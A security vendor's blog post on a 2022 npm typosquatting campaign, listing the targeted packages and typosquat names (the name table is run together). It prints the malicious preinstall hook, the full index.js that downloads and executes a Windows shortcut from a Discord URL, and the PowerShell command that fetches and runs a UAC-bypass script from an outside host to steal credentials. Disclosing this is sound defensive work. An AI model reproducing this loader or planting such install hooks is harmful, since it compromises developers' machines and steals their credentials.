Phylum Detects Active Typosquatting Campaign Targeting NPM Developers

Note: Veracode acquired Phylum in January 2025, after this blog was published, and it has been migrated to Veracode’s blog.

Early on Oct 2, 2022 Phylum’s automated risk platform detected a large scale typosquatting campaign against NPM developers. The attackers targeted several high profile packages, including:

  • shebang-command
  • ignore
  • webidl-conversions
  • debug
  • supports-colors
  • anymatch
  • universalify
  • http-errors
  • micromatch
  • postcss-value-parse
  • glob-parent
  • string-width
  • ansi-regex
  • tslib
  • y18n

These packages account for just over 1.2 Billion (1,204,473,993) downloads per week – a gigantic attack surface targeting a huge number of developers! Here is the full list of typosquatted packages:

1y8nhsebang-commandpostscs-value-parsertlsib
ahs-flaghttp-erorrspotscss-value-parsertsilb
anmyatchhttp-errrospsotcss-value-parsertslbi
ansi-ergexhttp-rerorssehbang-commandtsring-width
ansi-reegxignoersetraverseuinversalify
ansi-regxeignroesheabng-commandunievrsalify
ansi-rgeexigonreshebagn-commanduniveraslify
anyamtchimcromatchshebang-cmomanduniversailfy
anymacthingoreshebang-comamnduniversalfiy
anymathcjesscshebang-commadnuniversaliyf
anymtachjsecsshebang-commnaduniverslaify
asni-regexjssecshebang-ocmmandunivesralify
aynmatchlgob-parentshebnag-commandunivresalify
deubgmciromatchsjescuspports-color
edbugmicormatchspuports-colorwbeidl-conversions
esrtaversemicrmoatchsrting-widthwebdl-conversions
estarversemicroamtchstirng-widthwebid-conversions
estraevrsemicromacthstrign-widthwebidl-cnoversions
estravesremicromathcstring-iwdthwebidl-conevrsions
estravresemicromtachstring-wdithwebidl-converisons
estrvaersemircomatchstring-widhtwebidl-conversinos
etsraversenasi-regexstring-witdhwebidl-conversion
ewbidl-conversionsnaymatchstrnig-widthwebidl-conversiosn
ginorenuiversalifysupoprts-colorwebidl-conversoins
glbo-parentopstcss-value-parsersupporst-colorwebidl-convesrions
glob-paerntpostcss-valeu-parsersupports-cloorwebidl-convresions
glob-paretnpostcss-value-aprsersupports-colrowebidl-covnersions
glob-praentpostcss-value-paresrsupports-coolrwebidl-ocnversions
golb-parentpostcss-value-parsresupports-oclorweibdl-conversions
has-falgpostcss-value-pasrersuppotrs-colory1n8
has-lfagpostcss-vaule-parsersupprots-colory81n
hsa-flagpostcss-vlaue-parserthtp-errors 

Although these packages were removed from NPM quickly, it is recommended that you verify that none of the packages were installed between the hours of 12:00 AM UTC and 6:00 PM UTC. If any packages were installed during this timeframe, consider the machine completely compromised.

Technical Details

Each of these packages are initially executed via a preinstall hook in the package.json file:

"preinstall": "node index.js"

This executes the index.js file which contains the following:

'use strict'

exports.fromCallback = function (fn) {
  return Object.defineProperty(function (...args) {
    if (typeof args[args.length - 1] === 'function') fn.apply(this, args)
    else {
      return new Promise((resolve, reject) => {
        fn.call(
          this,
          ...args,
          (err, res) => (err != null) ? reject(err) : resolve(res)
        )
      })
    }
  }, 'name', { value: fn.name })
}

exports.fromPromise = function (fn) {
  return Object.defineProperty(function (...args) {
    const cb = args[args.length - 1]
    if (typeof cb !== 'function') return fn.apply(this, args)
    else fn.apply(this, args.slice(0, -1)).then(r => cb(null, r), cb)
  }, 'name', { value: fn.name })
}

var exec = require('child_process').exec;
const fs = require('fs');
const https = require('https');

const url = "https://cdn.discordapp.com/attachments/1026099040204636191/1026102020085657600/README.txt.lnk";

https.get(url,(res) => {
                const path = `${__dirname}/README.txt.lnk`;
                const filePath = fs.createWriteStream(path);
                res.pipe(filePath);
                filePath.on('finish',() => {
                                        filePath.close();
                                        exec(`${__dirname}/README.txt.lnk`);
                                })
});

Which will download an MS Windows shortcut file (available on our Github) and execute it. This file contains the following command:

C:\Windows\System32\cmd.exe C:\Windows\System32p/c powershell.exe iwr -outf %tmp%\\p.vbs https://enyhpvl.pythonanywhere.com/static/uac_bypass.vbs & %tmp%\\p.vbs.C:\Windows\System32\notepad.exe

Execution will result in the exfiltration of user credentials. Again, if you have inadvertently installed one of these packages consider the machine completely compromised.